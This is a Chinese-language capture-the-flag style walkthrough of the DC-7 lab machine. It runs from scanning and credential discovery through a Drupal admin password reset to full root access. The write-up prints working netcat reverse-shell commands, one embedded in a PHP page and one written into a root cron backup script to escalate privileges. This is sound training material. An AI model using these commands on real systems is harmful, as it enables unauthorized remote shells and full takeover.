渗透测试学习之靶机DC-7

过程
1. 探测目标主机

nmap -sP 192.168.246.0/24,得到目标主机IP:192.168.246.144
渗透测试学习之靶机DC-7

2. 信息搜集
  • 端口信息
    nmap -sV -p 1-65535 192.168.246.144
    渗透测试学习之靶机DC-7
  • web站点相关服务信息
    开放了80http端口,访问一下:
    渗透测试学习之靶机DC-7
  • github信息
    根据首页的提示,不用去尝试暴力**后台了,outside the box…
    看到左下角的Powered by Drupal下面还有个@DC7USER,DC-1也是这个CMS但是没有这个,拿着DC7USER去百度一下,大多数这个题的writeup,去必应,看到github,DC-7的源码???
    渗透测试学习之靶机DC-7
    渗透测试学习之靶机DC-7
    在config.php中看到数据库账号密码:
    渗透测试学习之靶机DC-7
    没有3306,没办法远程登录数据库…
3. ssh登录

在登陆页面(右上角的log in)和ssh尝试使用数据库的账号密码登录,只能连上ssh:
渗透测试学习之靶机DC-7
可以看到登上去就提示有邮件mail。
在当前目录下,看到mbox文件和backups目录,backups里website.sql.gpg 和website.tar.gz.gpg两个gpg文件,gpg是用来加密文件的:
渗透测试学习之靶机DC-7
查看mbox文件后,发现每个邮件都有backups.sh,查看一下
渗透测试学习之靶机DC-7
渗透测试学习之靶机DC-7
得出结论:每隔一段时间就执行这个文件,实现对数据库和站点代码进行备份加密,并删掉了原来的,只留下加密后的。
sh文件中使用了drush,可以使用其来更改用户密码(注意:需要进入/var/www/html目录下才可执行):
drush user-password admin --password="admin"修改admin的密码为admin
渗透测试学习之靶机DC-7

4. 后台登录

使用修改后的密码登录admin,然后在Manage下的Content,编辑首页在源文件增加php脚本,进行反弹shell,但是没有php这个选项…
渗透测试学习之靶机DC-7
渗透测试学习之靶机DC-7

参考文章
php模块链接:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
找到Manage下的Extend,点击Install new module:
渗透测试学习之靶机DC-7
渗透测试学习之靶机DC-7
点击Enable newly added modules,在里面找到PHP Filter,勾上:
渗透测试学习之靶机DC-7
然后拉到最下面Install:
渗透测试学习之靶机DC-7

5. 反弹shell

Manage -> Content -> edit:
<?php system('nc -e /bin/bash 192.168.246.138 8888')?>
渗透测试学习之靶机DC-7
保存后,138kali监听8888端口,然后访问其首页:
渗透测试学习之靶机DC-7
python返回交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
渗透测试学习之靶机DC-7

6. 提权

前面提到backups.sh会每隔一段时间执行一次进行备份,需要root权限才能进行的操作,可以在backups.sh中写入shell,反弹回来即为root权限:
echo "nc 192.168.246.138 6666 -e /bin/bash" > /opt/scripts/backups.sh
渗透测试学习之靶机DC-7
在kali上监听6666端口,等了一会之后就收到了:
返回交互式shell:
渗透测试学习之靶机DC-7
渗透测试学习之靶机DC-7

总结